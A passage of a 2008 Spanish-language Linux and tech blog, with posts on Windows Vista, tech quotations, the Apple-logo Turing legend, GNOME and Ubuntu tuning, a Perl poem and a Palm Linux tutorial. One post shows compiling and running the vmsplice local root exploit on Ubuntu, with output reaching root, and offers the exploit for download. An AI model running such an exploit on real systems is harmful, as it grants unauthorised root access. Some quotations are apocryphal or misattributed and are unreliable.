Bad Vista… una campaña con sentido

1/05/2008

Navegando me encontré otra campaña que me pareció digna para mencionar en mi humilde blog. Tal como me uní anteriormente a la campaña de http://www.end6.org/ y a la cual les vuelvo a recomendar que se unan, en esta ocasión llegue a BadVista, un sitio dedicado a promover en no uso de Windows Vista, debido a sus problemas de rendimiento etc etc etc etc y me cansaría de escribir contras a este horripilante sistema operativo traga recursos. Den una vuelta por dicho portal y unanse al newsletter y ven en que mas pueden apoyar, una forma simple es poniendo el siguiente banner en sus paginas.

2 Comments

Algunas frases celebres del mundo informatico

18/04/2008

Aquí les dejo las frases que mas me gustaron de las 101 disponibles en el lugar de donde las obtuve, les deje en negritas no las mejores, si no las peores y dichas por nuestro gran amigo Bill Puentes.

  • “No temo a los ordenadores; lo que temo es quedarme sin ellos”
    — Isaac Asimov
  • “Una vez un ordenador me venció jugando al ajedrez, pero no me opuso resistencia cuando pasamos al kick boxing”
    — Emo Philips
  • “Todas las piezas deben unirse sin ser forzadas. Debe recordar que los componentes que está reensamblando fueron desmontados por usted, por lo que si no puede unirlos debe existir una razón. Pero sobre todo, no use un martillo”
    — Manual de mantenimiento de IBM, año 1925
  • “La física es el sistema operativo del Universo”
    — Steven R Garman
  • “El mayor enemigo del conocimiento no es la ignorancia, sino la ilusión del conocimiento”
    — Stephen Hawking
  • “Cuanto más sabes, más te das cuenta de que no sabes nada”
    — Sócrates
  • “El auténtico conocimiento es conocer la extensión de la propia ignorancia”
    — Confucio
  • “Si piensas que los usuarios de tus programas son idiotas, sólo los idiotas usarán tus programas”
    — Linus Torvalds
  • “¿Dónde está la tecla ‘ANY’?”
    — Homer Simpson, frente a un mensaje “press any key”
  • “Sólo hay un problema con el sentido común: que no es demasiado común”
    — Milt Bryce
  • “¿Internet? No estamos interesados en eso”
    — Bill Gates
  • “Comentar el código es como limpiar el cuarto de baño; nadie quiere hacerlo, pero el resultado es siempre una experiencia más agradable para uno mismo y sus invitados”
    — Ryan Campbell
  • “Ley de Alzheimer de la programación: si lees un código que escribiste hace más de dos semanas es como si lo vieras por primera vez”
    — Via Dan Hurvitz
  • “Hazlo todo tan simple como sea posible, pero no más simple”
    — Albert Einstein
  • “No documentes el problema; arréglalo”
    — Atli Björgvin Oddsson
  • “La gestión manual de bloques de memoria en C es como hacer malabarismos con pastillas de jabón en la ducha de la prisión: todo diversión hasta que cometes un fallo”
    — Un usuario anónimo de un foro Usenet
  • “Java es lo más penoso que le ha ocurrido a la informática desde MS-DOS”
    — Alan Kay
  • “Sólo hay dos cosas malas en C++: el concepto inicial y la implementación”
    — Bertrand Meyer
  • “Era una broma, ¿vale? Si hubiéramos pensado que iba a usarse no la habríamos escrito”
    — Mark Andreesen, hablando de la etiqueta BLINK de HTML
  • “XML no es más lenguaje de programación que unas notas sobre una servilleta de papel”
    — Charles Simonyi
  • “UNIX es simple. Sólo necesita un genio para entender su simplicidad”
    — Dennis Ritchie
  • “Saber romper medidas de seguridad no hacen que seas hacker, al igual que saber hacer un puente en un coche no te convierte en un ingeniero de automoción”
    — Eric Raymond
  • “Las organizaciones gastan millones de dólares en firewalls y dispositivos de seguridad, pero tiran el dinero porque ninguna de estas medidas cubre el eslabón más débil de la cadena de seguridad: la gente que usa y administra los ordenadores”
    — Kevin Mitnick
  • “Las contraseñas son como la ropa interor. No puedes dejar que nadie la vea, debes cambiarla regularmente y no debes compartirla con extraños”
    — Chris Pirillo
  • “En realidad no trato de destruir a Microsoft: eso será sólo un efecto colateral no intencionado”
    — Linus Torvalds
  • “No soy de los que piensan que Bill Gates es el diablo. Simplemente sospecho que si Microsoft alguna vez se encontrara con el diablo, no necesitarían un intérprete”
    — Nicholas Petreley
  • “En dos años el problema del spam se habrá resuelto”
    — Bill Gates, 2004
  • “El problema de los virus es pasajero. En un par de años estará resuelto”
    — John McAfee, 1988
  • “Los virus informáticos son una leyenda urbana”
    — Peter Norton, 1988
  • “En el futuro es posible que los ordenadores no pesen más de 1,5 toneladas”
    — Popular mechanics, 1949
  • “Veo poco potencial comercial en Internet, al menos durante diez años”
    — Bill Gates, 1994
1 Comment

El logotipo de Apple… el significado oculto.

17/03/2008

Un articulo que encontré en uno de los mejores blogs que haya visto en toda mi vida. Se llama Geneciencia, el sueño de cualquier geek, ya que encontraremos temas bastante interesantes que un sabelo-todo debe de tener en su cabeza. Sinceramente les recomiendo que lo agreguen a su lista de RSS con Liferea o el método que estén utilizando para sus feeds, no se arrepentirán, den una vuelta por alli para encontrar cosas realmente interesantes, desde teorías de matemática falsa hasta astronomía. Geek Love!

Regresando al tema en cuestión, el logotipo de Apple:

Como todo el mundo sabe, o debería saber a estas alturas, el logotipo de Apple Inc. es una manzana mordida. Una de las hipótesis del logotipo característico de esta compañía es que hace referencia a una manzana que ocupó un importante lugar en la historia. No la manzana de Newton, sino de la manzana que acabó con la vida de una de las mentes más brillantes del siglo XX y probablemente de todos los tiempos. Me refiero a Alan Turing.

Alan Turing es, entre otras cosas, el precursor de la computación. Su famosa Máquina de Turing es un compuesto abstracto o teórico que simula el comportamiento de cualquier tipo de ordenador. Alan Turing fue el consolidador formal del concepto de algoritmo, que es la base del funcionamiento de todos los ordenadores actuales. Turing también dedicó gran parte de su ingenio en desarrollar teorías acerca de la inteligencia artificial (uno de sus logros más importantes fue el diseño del Test de Turing, que permite determinar si una entidad es inteligente o no).

¿Por qué el logotipo de Apple es una manzana precisamente mordida? Alan Turing había participado en la II Guerra Mundial como un descifrador de códigos nazis y había accedido a información muy privilegiada y restringida del ejército inglés. Por ello cuando terminó la guerra se le vigiló estrechamente. Para desgracia de Alan Turing su homosexualidad era considerada un delito en aquella época, y cuando denunció un robo en su casa (en el que un amante suyo estaba implicado), las investigaciones llevaron a detener al propio Turing por perversión y homosexualidad.

Forzado a elegir entre la cárcel o un tratamiento hormonal, escogió éste último, lo que le llevó a un declive físico y psicológico que truncó su carrera y a la postre su vida. El 7 de junio de 1954, a los 42 años de edad, murió por envenenamiento con el cianuro contenido en una manzana, a la que solo llegó a dar un mordisco.

Unos hablan de suicidio, otros de tenebrosas conspiraciones, y otros (como su madre) quieren creer que fue un simple descuido de Turing en la manipulación de las sustancias de su laboratorio. Lo que es seguro es que este hombre y esta manzana tienen una página escrita en la Historia que será difícil de borrar.

15 Comments

Tutorial: Gnome más rapido.

4/03/2008

En lo personal, soy un fanático del desempeño y me gusta mantener mis equipos trabajando lo más rápido posible. Gnome como lo sabemos es un entorno gráfico no muy pesado, pero si se puede hacer mas ágil, pues que mas pedir cierto?

Swappiness:

Esto es la relación de intercambio que existe entre nuestro RAM y el Swap de nuestro sistema, que es un área diseñada para funcionar como un RAM extra en el disco duro, aunque su velocidad no es tan rápida, siempre es bueno tenerla andando. Una de las cosas importantes por hacer, es cambiar el valor para que el sistema utilice mas el RAM físico que el Swap, con esto haremos mas rápida la ejecución de nuestras aplicaciones (NOTA: este tip solo se recomienda para escritorios no para servidores) y si no nos gusta el desempeño, siempre podremos editar el fichero que les diré a continuación para regresar a la normalidad.

$ sudo gedit /etc/sysctl.conf

Dentro de este fichero, escribiremos al final y guardamos:

vm.swappiness=10

Read the rest of this article »

No Comments

Tutorial: Acelera al maximo el arranque de Ubuntu

3/03/2008

Es esta ocasión mejoraremos la velocidad de arranque de nuestro sistema operativo Linux, en este caso Ubuntu. Esto lo haremos mediante una aplicación llamada Preload. Esta pequeña maravilla, hace que las librerías que se utilizan por algunas aplicaciones a la ves, se ejecuten al mismo tiempo, ganando mejor rendimiento en el momento de ejecución.

Para instalar:

$ sudo apt-get install preload

Con esto sera suficiente, pero siempre existe gente que le gusta meter personalización hasta donde se pueda, para estas personas, les dejo una pequeña tabla con los cambios de configuración mas comunes.

Opción
Por Defecto Que hace
model.cycle 20 [segundos] Que tan seguido, Preload hara una peticion al sistema para actualizar el modelo de librerias para el cache
model.halflife 168 [horas] Que tan seguido, Preload comenzara a “olvidar” datos viejos, con esto se van saliendo del cache las librerias que se han utilizado menos.
model.minsize 2000000 [bytes] El numero minimo de llamados al sistema para alguna aplicacion. Cabe mencionar que mientras sea menor el numero, las aplicaciones de mayor tamaño perderán esta capacidad.
model.memtotal -10%
model.memfree 100%
model.memcached 30%

Para Monitorear:

$ sudo tail -f /var/log/preload.log

Aquí una pequeña gráfica donde se compara el rendimiento de un equipo antes y después de instalar Preload.

3 Comments

Love Gnome

25/02/2008

Quien usa Linux sabe que es Gnome… y es a mi gusto (antes de se arme un flame en este tema o que me crucifiquen) este ultimo es el mejor de los entornos graficos actuales, debido a su simpleza y que en m punto de vista es muy ligero. Algunos dicen que se queda muy por detras de KDE, lo cual no dudo, pero simplemente KDE me parece demasiado tosco y feo… nada mas lindo que un Gnome muy liso y agradable a la vista.

5 Comments

Poema Geek en Perl

25/02/2008

Perl es un lenguaje de programación amado por los que lo usan y odiado por lo que no lo critican, existe un buen debate al respecto, pero eso es harina de otro costal. A continuación un poema llamado “Open Heart” hecho en Perl:

open (HEART, “>for_me”);
for ($this-valentines-day; $you and $me; $together++) {
$you = “My special one”;
$me = “Your darling”;
}

%time = ($you => $me, $together => “forever”);
while ($you = push(@me, @away)) {
foreach (@second) {
die a_bit to my $death;
goto hell;
}

pack $my_bags, @and_leave;
package my_love;
unless(!$i_see_you) {
write YOU_SOON;
}
}

reverse keys %time;
bless me;
for (last; kill $me;) {
if ($you) {
die;
}
}

2 Comments

Firefox supera las 500 millones de descargas

20/02/2008

Así es, nuestro aclamado y preferido explorador de la red de redes, supero la nada despreciable suma de 500 millones de descargas. Lo celebraran en grande y de una forma que solo una organización Open-Source lo podría hacer, donaran medio millón de granos de arroz para la gente de escasos recursos en el continente africano.

Felicidades Zorro de Fuego!

5 Comments

Exploit para Ubuntu

15/02/2008

Existe un exploit no tan nuevo, pero seguramente de temer para los usuarios Debian/Ubuntu corriendo con un Kernel 2.6.x desde el 2.6.17 hasta el 2.6.24. Lo que lo hace realmente preocupante, es que el kernel que trae Ubuntu Gutsy Gibbon por defecto, es el 2.6.22 -14-generic que es vulnerable a esta explotación local. La buena noticia es que hay hay que saber un poquito de GCC para hacerlo funcionar correctamente y ta ves no cualquier usuario pueda explotar nuestro sistema. Para muestra un botón:

zilus@hackbox:~/$ uname -a
Linux hackbox 2.6.22-14-generic #1 SMP Tue Feb 12 07:42:25 UTC 2008 i686 GNU/Linux

$ gcc exploit.c -o exploit

$ whoami

zilus

$ ./exploit

——-——-——-——-

Linux vmsplice Local Root Exploit

By qaaz

——-——-——-——-——-

[+] mmap: 0×0 .. 0×1000

[+] page: 0×0

[+] page: 0×20

[+] mmap: 0×4000 .. 0×5000

[+] page: 0×4000

[+] page: 0×4020

[+] mmap: 0×1000 .. 0×2000

[+] page: 0×1000

[+] mmap: 0xb7d90000 .. 0xb7dc2000

[+] root

$ whoami
root

Si aun siguen curiosos, les dejo el exploit a la mano… úsenlo bajo su responsabilidad. Gracias a milw0rm.com por el tip.

No Comments

Tutorial: Linux en Palm Zire 72

31/01/2008

El siguiente tutorial tratara de hacer funcionar tu Zire 72 con Linux (Opie) y con la conexión USB ruteada para que puedas tener salida a la red con tu handheld.

Se necesita:

  • Palm Zire 72
  • MicroSD de 256 MB (minimo, de preferencia 1 GB)
  • Lector de tarjetas MicroSD (en mi caso utilice mi celular Nokia 5200)
  • Angstrom con Opie (para la Zire)

Primero introducimos la SD al lector y se montara automaticamente en nuestro ubuntu.

 

Read the rest of this article »

17 Comments